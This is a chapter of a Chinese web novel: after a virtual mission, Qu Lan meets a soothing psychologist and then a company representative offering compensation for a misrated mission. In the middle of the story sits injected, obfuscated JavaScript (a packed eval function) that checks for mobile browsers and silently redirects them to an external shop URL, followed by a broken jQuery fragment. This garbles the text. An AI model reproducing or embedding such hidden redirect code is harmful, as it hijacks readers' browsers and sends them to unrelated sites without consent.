【Z302小队登出成功。】

    【任务评价生成中……评价失败…启动重核…错误!错误!…申错请联系人工管理员。】

    电流声有些尖锐,让她的脑子昏沉一瞬,又很快清醒。

    屈澜在舱中睁开眼睛,正上方是一块泛着冷意的金属板,她慢半拍地想起这不是垃圾场的黑房子。

    伸出手想摸索开关,指尖却一阵软绵,好半天才恢复基本知觉,她到底在舱里躺了多久?

    有人从上方敲了敲,金属板发出两声鸣响,声音有些不真切,“屈澜,醒了吗?我开舱门了哦~”

    屈澜呼出一口气,是卫情。

    大脑还是有些昏沉,这些线缠着四肢,她实在担心不灵感的手指会弄乱什么地方,还好卫情来了。

    她点点头,意识到对方听不见,同样抬起胳膊敲了敲金属板。

    光线渐渐明亮,屈澜闭上眼,头顶上方发出一片蓝光,在她的眼皮周围拂过,似乎在扫描。

    【基础检查无碍,欢迎您—屈澜,回归现实。】

    缠在身上的数据线都脱落了。

    卫情同样靠着舱口在笑,俯身伸出一只手,“欢迎回来。”

    前不久在云端的她,绑着几圈长绷带止血,面颊显得苍白疏离,再怎么高扬的语调也挡不住淡淡的疲惫感。

    而在现实中,或许是多了别的什么感知,也或许是恢复了健康的状态,卫情显得更加活力热情。

    顶空的光线撒落在身上,她的脑袋看起来毛茸又蓬松,眉眼也带着细碎的笑意,很是轻松的样子。

    有一种网友面基的错觉。

    屈澜握住那只手,身体还有些发颤,被卫情拉了起来,靠近的一瞬闻到隐约的果香。

    她发现自己身上出了一层薄汗,除此之外,之前反接过又被正回去的胳膊没什么不适,掌心也变得平整,只剩之前的旧伤。

    随口问道,“卫语姐呢?”

    卫情一顿,嘴角明显拉平,“还没出来。”

    屈澜和她一起走到卫情的舱外,面板显示了一系列数据,没看懂,但结论好懂,在云端的伤势过重,正在缓慢回归。

    身后传来几声不一的脚步声,卫情没有回头,似乎并不意外。

    屈澜看到了万珂,她的身后跟着两三个工作人员。

    万珂保持着礼貌的笑意,“屈澜小姐…”

    “怎么了?”

    万珂接下来的话语被打断了,卫语的舱门开了。

    一直保持沉默的卫情把人捞了出来。卫语浑身湿漉漉的,脸色惨白,整个人都在抖,靠着卫情的半边身体借力站稳。

    她调整着急促的呼吸,按住屈澜的手腕,挡住了万珂的视线,语句极为缓慢,“有什么事,跟我谈。别找我的队员。”

    万珂同样看到了两姐妹的目光,都隐含着怒气和冷意,顿时一阵牙酸,完蛋了,这事没办法糊弄过去了。

    两方气氛很诡异,屈澜刚开始有些疑惑,很快反应过来应该是任务级别突然上升的事情。

    自己和卫情看上去都没什么大碍,但当时的情景确实十分艰难。如果不是卫语姐的狼狈样子,似乎所有人都忘了,这次是从意外里死里逃生。

    在丧尸世界,遇见意外反而是常态,她都习惯了,能活下来就行。但在这里,一个规则性秩序感很强的地盘,对意外的容错率很低,安全性应该更高才对。

    那么出了这种问题,一般就是重大失误。怪不得万珂上来想要找自己,原来是想先以小代价谈成一个口子,方便后续和老员工扯皮。

    俗称,大事化小,小事化无。

    想通关键,她小心地搀在卫语的另一边,提供一份支撑。

    卫语的行动有些迟缓,除了云端伤到的脖颈手腕,走路姿势略微有些怪异,如果不是切身搀扶着,屈澜也难以察觉她的步频不对。

    卫语步子很慢,用力也很小心,仿佛担心背后有什么伤口会撕裂…

    在云端,她伤到背部了吗?

    屈澜脑海里滑过一个细微的念头,又很快消散。

    万珂提醒她去做心理测试,确认大脑的感知情况,这是出舱后的必经环节,尤其屈澜还是新人。见卫语卫情点头,屈澜就离开了。

    卫语渐渐能够自己站直,她身形清瘦却挺拔,目送屈澜离开后,缓缓对万珂开口,“我要见这次行动的评估专员。”

    听到这话,万珂闭上眼睛,真正难搞的来了。

    她再抬眼时,又是得体的微笑,“那是当然。”

    ……

    源生科技正经的生理医生不多,这里大多的伤势是心理或大脑受伤导致的幻觉创伤行为,正经的身体数据测量很少,大都是评估心理状况的医生和环节。

    一个跟在万珂身后的工作人员对着屈澜紧张地微笑,手指下意识去扶镜框,摸空了又是一阵尴尬地搓手,“那、我们去心理理疗室吧?”

    屈澜跟上他的脚步,目光闪闪,“都需要我干什么?”

    工作人员思考一阵,露出小小的笑,“休息一阵就可以。”

    屈澜问,“其他的呢?有体检抽血一类的吗?”

    工作人员瞬间严肃脸,“请您放心,我司严格遵守生命安全保护法,绝对不存在侵害员工隐私、私自获取身体生理信息的行为!”

    屈澜怔了一下,没完全懂,但看起来是不用担心抽血时丧尸血和正常人不一样之类的了。

    电梯缓缓上升,两人无话,来到26层。

    这里的空间明显更加明亮开阔,大面积暖调灯光,连地面也用了仿木板铺设,从视觉上就让人放松了一半。

    屈澜明显察觉到身旁的工作人员更自在了,他让屈澜坐着休息,自己去登记,约好医生。

    这里很安静,每个房间隔音效果都很好,一时间,赛博阳光透进来,空气里都泛起暖意。

    而这时,有一扇距离屈澜前方不远的门打开了,隐约听见一声咆哮,“我升到特级就是为了给那群富人当狗吗?!你有病啊!我什么都不缺!我一身本事!就是为了捧臭脚吗?!”

    “谁爱干谁干!关芩,一直以来我敬你是老大,现在!老娘不干了!”

    出来的是一位身形高挑的人,面颊镶嵌了小部分金属线条,身着黑色背心,肩部的线条结实漂亮,肩头也镶两大块银色金属,她的眼睛中带着未散的怒意。

    此时大厅只有屈澜一人,两人对上视线,机械人冲她扬扬下巴,昂首离开了。

    屈澜回忆起对方刚刚提到的名字。

    关芩?她昨天搜信息时看到过这个名字,33区源生科技总代理人。

    房门半敞,屈澜瞥见那人小半块衣袖。

    …

    暖橙色和淡绿色交织的墙体隔绝了外界视线,关上门的一瞬间,嘈杂声明显变弱,私密性很好。

    面前的医生和认知里大部分的都不同,金色的长发披散在两侧,翠绿色的眼睛微弯,嘴角也散发着笑意,看上去亲近柔和。

    “屈澜小姐你好,初次见面,我是林唯。”声音好像带着某种特殊效果,让人忍不住沉静下来,仔细去听她的话语。

    但这不包括屈澜。

    她有些怀疑这真的是某种异能,暗自提高警惕,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769300|209857||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拉开椅子坐下,“林医生你好。”

    “第一次出任务辛苦了,我看了看你的基础报告,虽然有波动但整体平稳无碍,感觉怎么样?”

    “还好。”屈澜说。

    林唯指尖一顿,面色依旧无异,轻声细语地问,“身体有哪里不舒服的地方吗?”

    屈澜摇头,“没有。”

    她的话很少,似乎有些惜字如金。屈澜想得很简单,一是卫语卫情的态度,二是她对林唯确实有些警惕,毕竟自己身上秘密不少,担心自己说漏什么,还是少说为妙。

    这下林唯是彻底叹了口气,面露无奈,“您不必过于警惕,我这边只是负责收集一些数据,不会过度推导什么,完全尊重您的隐私。”

    她的眼睛仿佛一湖青水,带着细微的涟漪,轻柔的语调让人很放松,“你有什么难言的事,或许可以同我讲讲?这些数据都不会泄露给别人。”

    屈澜抬眼看她。

    莫名的即视感让她浑身不适。破案了,这人的话术跟她中学心理老师一模一样,当时那个心理老师也是这样温和坚定且专业的样子,转头就给自己扣了一个“疑似自杀倾向”的帽子。

    屈澜上半身前倾,指尖的旋律有节奏地轻点,语调缓和,“也许我们可以换一种方式,我问你答。”

    她讨厌只有自己不知道的信息差。

    屈澜眼眸黑漆漆的,仿佛巨大的漩涡,林唯晃神,在之中看到了自己的模样。

    …

    屈澜的下一站是休息室,算是员工福利,一个短暂调整状态的地方,浴室厕所一应俱全。每人出任务后可以根据评估休息一定时间,屈澜按理说不会待太久,但万珂那边的理赔方案还没下来,需要她确认。在此之前,她可以好好地睡一觉。

    休息室只有她一人,角落里放着一张软蓬蓬的床,看上去就比自己屋里的金属板舒服。

    她只问了林唯一些关于源生科技的基础事,大概摸清了源生科技的构成部门和运行方式。

    关于任务经过部分,只说了注意到不对努力自救,没提卫情的枪械一类。

    抬起一只胳膊挡住灯光,屈澜发现自己的疑问比最初来到这个时间更多了。

    不知道,卫语她们那边怎么样了。

    一阵晃神,她闭目小憩。

    …

    房门被敲响了。此时屈澜刚醒不久,看了一眼时间,4个小时。

    门外是万珂,看上去已经有些疲惫。

    “屈澜小姐…”她扯扯嘴角,还是带上了笑。挥挥手中的一些文件,“不如我们进去谈?”

    屈澜和她又坐回了休息室。

    万珂态度端正很多,非常诚恳地道歉,“关于今日任务评级错误,导致危险难度上升,Z302小队遇险一时,我谨代表33区科创部,表示至真的歉意。”

    她微微向前躬身,又很快将几份文件推到屈澜手边,“这是我司提出的赔偿方案。”

    屈澜没有动,只是安静地看着她。

    看得出来,万珂也是个被推出来的倒霉蛋,看上去因为赔偿已经和卫语卫情扯了不短时间了,现在还要来安抚她。

    屈澜相信赔偿方案一定很丰厚,但是,这次的事是意外,还是针对她们中间的某一个人呢?之前她或许会觉得和自己相关,不过总感觉另外两个队友也不简单呢。

    许久没得到回应,万珂心中一跳,看到屈澜平静如常的眼眸,突然有了预感,恐怕接下来的事情也不会简单,希望新人不要如那两姐妹一样难搞就好…

    “我想知道,任务的评级员是谁。”

    万珂眼皮狂跳。